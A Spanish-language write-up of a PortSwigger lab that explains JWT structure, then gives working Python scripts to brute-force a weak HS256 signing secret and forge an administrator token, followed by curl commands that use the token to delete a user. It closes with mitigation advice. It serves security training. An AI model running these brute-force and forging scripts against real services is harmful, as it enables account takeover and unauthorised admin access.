Bypass de Autenticación JWT mediante Clave de Firma Débil

Descripción del Lab (contiene spoilers)

JWT · Lab de Portswigger ↗

Este lab utiliza un mecanismo basado en JWT para gestionar sesiones. La clave de firma JWT es débil y puede ser descubierta por fuerza bruta usando un diccionario de secretos comunes. Para resolver el lab, necesitas descubrir por fuerza bruta la clave secreta usada para firmar el JWT, luego usarla para forjar un JWT válido que te dé acceso al panel de administración y eliminar al usuario `carlos`.

27 de febrero de 2025

Conceptos Previos Necesarios Para Resolver El Lab

Fundamentos de JWT

¿Qué es JWT (JSON Web Token)?

JWT es un medio compacto y seguro para URLs de representar Claims* que se transfieren entre dos partes. Se usa comúnmente para autenticación e intercambio de información en aplicaciones web. Usa codificación base64 para asegurar transmisión segura para URLs.

Un JWT consta de tres partes separadas por puntos (.):

header.payload.signature

Por ejemplo:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here

Desglosando cada parte:

1. Header (JSON codificado en Base64URL):

{
  "kid": "170c351e-58cc-4e4b-9116-6e7924337580",
  "alg": "HS256"
}
  • alg: El algoritmo de firma (HS256 = HMAC-SHA256)
  • kid: Key ID (identificador opcional para la clave de firma)

2. Payload (JSON codificado en Base64URL):

{
  "iss": "portswigger",
  "exp": 1772198957,
  "sub": "wiener"
}
  • iss: Emisor del token
  • exp: Timestamp de expiración
  • sub: Subject (usualmente el nombre de usuario)

3. Signature: La firma se crea tomando el header y payload codificados, y firmandolos con una clave secreta usando el algoritmo especificado en el header:

# Pseudocódigo

message = base64UrlEncode(header) + "." + base64UrlEncode(payload) 

key = JWT_SECRET # Podría ser una contraseña, API key, UUID o cualquier otra cadena

signature = HMACSHA256(message, key)  # Esto es solo la parte de la firma, no el JWT completo

La firma asegura que el token no ha sido manipulado. Si un atacante modifica el header o payload, la firma no coincidirá a menos que conozca la clave secreta.

El JWT completo se construiría así:

# Pseudocódigo

jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature
HS256 y Ataques de Fuerza Bruta

¿Qué es HS256 (HMAC-SHA256)?

HS256 es un algoritmo de firma simétrico, lo que significa que la misma clave secreta se usa tanto para firmar como para verificar el token. Esto es diferente de los algoritmos asimétricos como RS256, que usan una clave privada para firmar y una clave pública para verificar.

La seguridad de HS256 depende enteramente del secreto y la fuerza de la clave. Si la clave es débil (como “secret”, “password”, o “secret1”), puede ser forzada por fuerza bruta.

¿Por qué es Posible la Fuerza Bruta?

Dado que la firma es determinista (misma entrada + misma clave = misma firma), un atacante puede:

  1. Tomar el header y payload del JWT
  2. Intentar firmarlo con diferentes claves secretas de una lista de palabras
  3. Comparar la firma generada con la original
  4. Cuando coinciden, la clave secreta ha sido encontrada

Esto solo es factible cuando el secreto es débil y existe en listas de palabras comunes.

Resolución

Exploremos la página de login del lab directamente e iniciemos sesión para obtener un token JWT de sesión válido:

curl "https://<lab-url>.web-security-academy.net/login"

La página de login tiene un formulario simple con un token CSRF:

<form class=login-form method=POST action="/login">
    <input required type="hidden" name="csrf" value="fthIkYLXgsmolAFaGeb1sSSEMeShaZtX">
    <label>Username</label>
    <input required type=username name="username" autofocus>
    <label>Password</label>
    <input required type=password name="password">
    <button class=button type=submit> Log in </button>
</form>

Iniciemos sesión con las credenciales proporcionadas:

curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=KmODI4GCLxAFAM1LoQhLZpDVOO1kPySm&username=wiener&password=peter"

Desglose del comando:
-D - = mostrar cabeceras de respuesta en stdout
-d "csrf=...&username=wiener&password=peter" = enviar datos POST (automáticamente establece el método a POST y Content-Type a application/x-www-form-urlencoded)

Respuesta:

HTTP/2 302 
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoid2llbmVyIn0.YBG0i0B9Qamr6Gw50igBg_ZdwEbbzUPzHKIpG_ecBOk; Secure; HttpOnly; SameSite=None

La cookie de sesión es un token JWT. Decodifiquémoslo para entender su estructura:

echo "eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9" | base64 -d | jq .

Desglose del comando:
echo "..." = imprimir la parte del header del JWT
base64 -d = decodificar base64
jq . = formatear JSON

Salida del header:

{
  "kid": "170c351e-58cc-4e4b-9116-6e7924337580",
  "alg": "HS256"
}

Ahora decodifiquemos el payload:

echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoid2llbmVyIn0" | base64 -d | jq .

Salida del payload:

{
  "iss": "portswigger",
  "exp": 1772198957,
  "sub": "wiener"
}

El JWT usa HS256 (HMAC-SHA256) para la firma, lo que significa que utiliza una clave secreta simétrica. Si el secreto es débil, podemos descubrirlo por fuerza bruta. Creemos un script de Python para crackear la clave de firma JWT usando el diccionario sugerido en la descripción del lab:

import hmac
import hashlib
import base64
import urllib.request

JWT = "eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoid2llbmVyIn0.YBG0i0B9Qamr6Gw50igBg_ZdwEbbzUPzHKIpG_ecBOk"

WORDLIST_URL = "https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list"

header, payload, target_signature = JWT.split('.')

wordlist = urllib.request.urlopen(WORDLIST_URL)

def create_jwt_signature_from_secret(secret):
    message = f"{header}.{payload}"
    hmac_digest = hmac.new(secret.encode(), message.encode(), hashlib.sha256).digest()
    jwt_signature = base64.urlsafe_b64encode(hmac_digest).decode().rstrip('=')
    return jwt_signature

for secret in wordlist.read().decode().splitlines():
    if target_signature == create_jwt_signature_from_secret(secret):
        print(f"Found secret: {secret}")
        break
else:
    print("Secret not found")

Desglose del script:
El script realiza un ataque de fuerza bruta a la firma JWT:

  1. Descarga el diccionario jwt-secrets que contiene secretos de firma JWT comunes
  2. Itera a través de cada clave secreta potencial del diccionario
  3. Calcula HMAC-SHA256 del mensaje (header + '.' + payload) con cada secreto
  4. Codifica en Base64URL el digest HMAC para generar una firma de prueba
  5. Compara la firma generada con la firma original del JWT
  6. Una coincidencia indica que se ha encontrado el secreto (clave de firma) correcto del JWT

Salida esperada:

Found secret: secret1

Ahora podemos forjar un JWT con sub: "administrator" para obtener acceso de administrador.

Creemos un script para forjar el token:

import hmac
import hashlib
import base64

JWT_SECRET = "secret1"

def b64(data): return base64.urlsafe_b64encode(data).decode().rstrip('=')

header = '{"kid":"170c351e-58cc-4e4b-9116-6e7924337580","alg":"HS256"}'

tampered_jwt_payload = '{"iss":"portswigger","exp":1772198957,"sub":"administrator"}'

message = f"{b64(header.encode())}.{b64(tampered_jwt_payload.encode())}"

forged_signature = b64(hmac.new(JWT_SECRET.encode(), message.encode(), hashlib.sha256).digest())

admin_jwt = f"{message}.{forged_signature}"

print(admin_jwt)

Desglose del script:
El script crea un nuevo JWT con:

  1. El mismo header (algoritmo HS256)
  2. Payload modificado con "sub": "administrator"
  3. Firma válida calculada usando el secreto crackeado secret1

Salida de ejemplo:

eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoiYWRtaW5pc3RyYXRvciJ9._c625IJtnNvYYk8TptqMszoBMxuItUXT4yWqgRXNhXs

Ahora accedamos al panel de administración con nuestro JWT forjado:

curl -s "https://<lab-url>.web-security-academy.net/admin" \
  -b "session=eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoiYWRtaW5pc3RyYXRvciJ9._c625IJtnNvYYk8TptqMszoBMxuItUXT4yWqgRXNhXs" \
  | grep -A 5 "carlos"

Desglose del comando:
-b "session=..." = enviar el JWT forjado como cookie de sesión
grep -A 5 "carlos" = mostrar líneas que contienen “carlos” y 5 líneas después (los labs de PortSwigger siempre incluyen un usuario “carlos” para eliminar en el panel de admin, así que esta es una forma rápida de verificar el acceso de administrador)

Respuesta:

<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>

Ahora que tenemos acceso de administrador, eliminemos al usuario carlos:

curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
  -b "session=eyJraWQiOiIxNzBjMzUxZS01OGNjLTRlNGItOTExNi02ZTc5MjQzMzc1ODAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MjE5ODk1Nywic3ViIjoiYWRtaW5pc3RyYXRvciJ9._c625IJtnNvYYk8TptqMszoBMxuItUXT4yWqgRXNhXs"

El bypass de autenticación JWT nos permitió enviar a carlos al vacío digital, completando el lab.

Estrategias de Mitigación

  1. Usar secretos fuertes: Las claves de firma JWT deben ser largas, aleatorias y criptográficamente seguras (al menos 256 bits para HS256). Nunca uses palabras de diccionario o frases comunes
  2. Implementar algoritmos asimétricos si es posible: Considera usar RS256 (RSA) o ES256 (ECDSA) en lugar de HS256. Estos usan pares de claves pública/privada, haciendo los ataques de fuerza bruta imposibles
  3. Rotar claves regularmente: Implementa políticas de rotación de claves para limitar el impacto de una clave comprometida
  4. Almacenar secretos de forma segura: Usa variables de entorno o sistemas de gestión de secretos en lugar de codificar secretos directamente
  5. Validar todos los claims del JWT: Siempre verifica el emisor (iss), expiración (exp) y otros claims del lado del servidor

Referencias

Claims* son declaraciones sobre una entidad (típicamente el usuario) y datos adicionales, como identidad (sub), emisor (iss), tiempo de expiración (exp) y otros metadatos. Más información sobre JWT claims

Recursos

JWT.io Debugger Esta es una herramienta interactiva para decodificar, verificar y depurar tokens JWT. También me fue útil cuando era desarrollador web.